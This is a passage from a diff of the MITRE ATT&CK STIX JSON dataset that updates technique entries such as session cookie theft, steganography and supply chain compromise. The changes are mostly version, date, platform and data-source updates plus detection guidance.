2019)(Citation: Trend Micro Pawn Storm OAuth 2017)", "name": "Steal Application Access Token", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -30441,19 +31912,20 @@ "phase_name": "credential-access" } ], - "modified": "2020-07-14T19:16:30.906Z", + "modified": "2021-04-14T17:56:17.311Z", "created": "2019-09-04T15:54:25.684Z", "x_mitre_is_subtechnique": false, "x_mitre_detection": "Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a \u201cHigh severity app permissions\u201d policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\n\nSecurity analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app\u2019s purpose, or apps with old \u201cLast authorized\u201d fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\n\nAdministrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.", "x_mitre_platforms": [ "SaaS", "Office 365", - "Azure AD" + "Azure AD", + "Google Workspace" ], "x_mitre_permissions_required": [ "User" ], - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_contributors": [ "Shailesh Tiwary (Indian Army)", "Mark Wee", @@ -30461,8 +31933,7 @@ "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)" ], "x_mitre_data_sources": [ - "Azure activity logs", - "OAuth audit logs" + "User Account: User Account Modification" ] }, { @@ -30485,7 +31956,7 @@ { "source_name": "Unit 42 Mac Crypto Cookies January 2019", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", - "description": "Chen, Y., Hu, W., Xu, Z., et. al.. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019." + "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019." }, { "description": "Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.", @@ -30503,7 +31974,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Steal Web Session Cookie", - "description": "An adversary may steal web application or service session cookies and use them to gain access web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1506) technique to login to the corresponding web application.", + "description": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.", "id": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", "type": "attack-pattern", "kill_chain_phases": [ @@ -30512,15 +31983,15 @@ "phase_name": "credential-access" } ], - "modified": "2020-04-21T15:26:25.584Z", + "modified": "2021-04-14T17:57:07.903Z", "created": "2019-10-08T20:04:35.508Z", "x_mitre_is_subtechnique": false, "x_mitre_detection": "Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.", "x_mitre_data_sources": [ - "File monitoring", - "API monitoring" + "File: File Access", + "Process: Process Access" ], - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_permissions_required": [ "User" ], @@ -30533,7 +32004,8 @@ "macOS", "Windows", "Office 365", - "SaaS" + "SaaS", + "Google Workspace" ] }, { @@ -30603,23 +32075,39 @@ "phase_name": "credential-access" } ], - "modified": "2020-09-29T16:16:06.868Z", + "modified": "2020-11-05T16:07:04.189Z", "created": "2020-02-11T19:12:46.830Z", "x_mitre_system_requirements": [ "Kerberos authentication enabled" ], "x_mitre_data_sources": [ - "Windows event logs", - "Authentication logs" + "Active Directory: Active Directory Credential Request", + "Logon Session: Logon Session Metadata" ], "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.", - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Windows" ] }, { + "created": "2020-02-05T14:28:16.719Z", + "modified": "2020-09-16T19:24:20.350Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", + "description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used\u202fInvoke-PSImage\u202fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ", + "name": "Steganography", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -30642,33 +32130,17 @@ "source_name": "McAfee Malicious Doc Targets Pyeongchang Olympics" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Steganography", - "description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used\u202fInvoke-PSImage\u202fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ", - "id": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "modified": "2020-09-16T19:24:20.350Z", - "created": "2020-02-05T14:28:16.719Z", - "x_mitre_version": "1.1", - "x_mitre_is_subtechnique": true, - "x_mitre_detection": "Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings are other signatures left in system artifacts related to decoding steganography.", - "x_mitre_data_sources": [ - "Binary file metadata" - ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" - ] + ], + "x_mitre_data_sources": [ + "File: File Content" + ], + "x_mitre_detection": "Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings are other signatures left in system artifacts related to decoding steganography.", + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.1" }, { "external_references": [ @@ -30703,10 +32175,7 @@ "x_mitre_is_subtechnique": true, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_data_sources": [ - "Packet capture", - "Process use of network", - "Process monitoring", - "Network protocol analysis" + "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Linux", @@ -30786,8 +32255,9 @@ ], "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.", "x_mitre_data_sources": [ - "File monitoring", - "Application logs" + "File: File Creation", + "File: File Deletion", + "File: File Modification" ], "x_mitre_platforms": [ "Linux", @@ -30838,7 +32308,7 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-06-20T22:42:26.314Z", + "modified": "2021-04-26T15:41:39.612Z", "created": "2020-02-05T14:54:07.588Z", "x_mitre_platforms": [ "Windows", @@ -30846,16 +32316,13 @@ "Linux" ], "x_mitre_data_sources": [ - "Binary file metadata", - "File monitoring", - "Process command-line parameters", - "Process monitoring", - "API monitoring", - "Application logs", - "DLL monitoring", - "Loaded DLLs", - "Windows Registry", - "Windows event logs" + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "Process: Process Creation", + "Command: Command Execution", + "File: File Metadata", + "File: File Modification", + "Module: Module Load" ], "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \"Hide Microsoft Entries\" and \"Hide Windows Entries\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \n\nMonitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. ", "x_mitre_defense_bypassed": [ @@ -30968,8 +32435,10 @@ ], "x_mitre_detection": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.", "x_mitre_data_sources": [ - "File monitoring", - "Process command-line parameters" + "Process: Process Metadata", + "Process: Process Creation", + "Command: Command Execution", + "File: File Modification" ], "x_mitre_platforms": [ "Linux", @@ -30977,10 +32446,18 @@ ] }, { - "id": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Supply Chain Compromise", - "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2021-01-06T19:32:28.382Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "type": "attack-pattern", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -31028,7 +32505,7 @@ "source_name": "Command Five SK 2011" }, { - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", "source_name": "Symantec Elderwood Sept 2012" }, @@ -31038,33 +32515,21 @@ "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "initial-access" - } - ], - "modified": "2020-10-13T12:38:32.426Z", - "created": "2018-04-18T17:59:24.739Z", - "x_mitre_is_subtechnique": false, - "x_mitre_contributors": [ - "Veeral Patel" - ], + "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)", + "name": "Supply Chain Compromise", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "x_mitre_version": "1.2", + "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.", "x_mitre_platforms": [ "Linux", "Windows", "macOS" ], - "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.", - "x_mitre_data_sources": [ - "Web proxy", - "File monitoring" + "x_mitre_contributors": [ + "Veeral Patel" ], - "x_mitre_version": "1.2" + "x_mitre_is_subtechnique": false }, { "external_references": [ @@ -31099,12 +32564,7 @@ "x_mitre_is_subtechnique": true, "x_mitre_detection": "With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_data_sources": [ - "SSL/TLS inspection", - "Process monitoring", - "Process use of network", - "Malware reverse engineering", - "Netflow/Enclave netflow", - "Packet capture" + "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Linux", @@ -31114,7 +32574,7 @@ }, { "id": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", - "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \n\nSpecific checks may will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as uptime and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)", + "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)", "name": "System Checks", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -31148,7 +32608,7 @@ "phase_name": "discovery" } ], - "modified": "2020-07-01T16:32:02.514Z", + "modified": "2021-04-21T15:16:10.604Z", "created": "2020-03-06T20:57:37.959Z", "x_mitre_platforms": [ "Linux", @@ -31159,12 +32619,13 @@ "Deloitte Threat Library Team" ], "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" ], "x_mitre_detection": "Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.", "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", + "x_mitre_version": "2.0", "x_mitre_defense_bypassed": [ "Static File Analysis", "Signature-based detection", @@ -31314,9 +32775,7 @@ "Ryan Becwar" ], "x_mitre_data_sources": [ - "EFI", - "BIOS", - "API monitoring" + "Firmware: Firmware Modification" ], "x_mitre_detection": "System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)", "x_mitre_permissions_required": [ @@ -31332,19 +32791,9 @@ ] }, { - "created": "2017-05-31T21:31:04.307Z", - "modified": "2020-03-26T18:17:42.298Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "discovery" - } + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "type": "attack-pattern", - "id": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "System Information Discovery", - "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. A breakdown of system data can also be gathered through the macOS systemsetup command, but it requires administrative privileges.\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)", "external_references": [ { "source_name": "mitre-attack", @@ -31372,33 +32821,120 @@ "source_name": "Microsoft Virutal Machine API" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. A breakdown of system data can also be gathered through the macOS systemsetup command, but it requires administrative privileges.\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)", + "name": "System Information Discovery", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } ], - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows", - "AWS", - "GCP", - "Azure" - ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.", - "x_mitre_data_sources": [ - "Azure activity logs", - "Stackdriver logs", - "AWS CloudTrail logs", - "Process monitoring", - "Process command-line parameters" - ], - "x_mitre_version": "2.1", + "modified": "2021-03-08T10:33:01.066Z", + "created": "2017-05-31T21:31:04.307Z", + "x_mitre_is_subtechnique": false, "x_mitre_contributors": [ "Praetorian" ], - "x_mitre_is_subtechnique": false + "x_mitre_version": "2.2", + "x_mitre_data_sources": [ + "Instance: Instance Metadata", + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ] + }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1614", + "url": "https://attack.mitre.org/techniques/T1614" + }, + { + "source_name": "FBI Ragnar Locker 2020", + "url": "https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf", + "description": "FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021." + }, + { + "source_name": "Sophos Geolocation 2016", + "url": "https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/", + "description": "Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021." + }, + { + "source_name": "Bleepingcomputer RAT malware 2020", + "url": "https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/", + "description": "Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021." + }, + { + "source_name": "AWS Instance Identity Documents", + "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html", + "description": "Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021." + }, + { + "source_name": "Microsoft Azure Instance Metadata 2021", + "url": "https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows", + "description": "Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021." + }, + { + "source_name": "Securelist Trasparent Tribe 2020", + "url": "https://securelist.com/transparent-tribe-part-1/98127/", + "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "System Location Discovery", + "description": "\nAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the 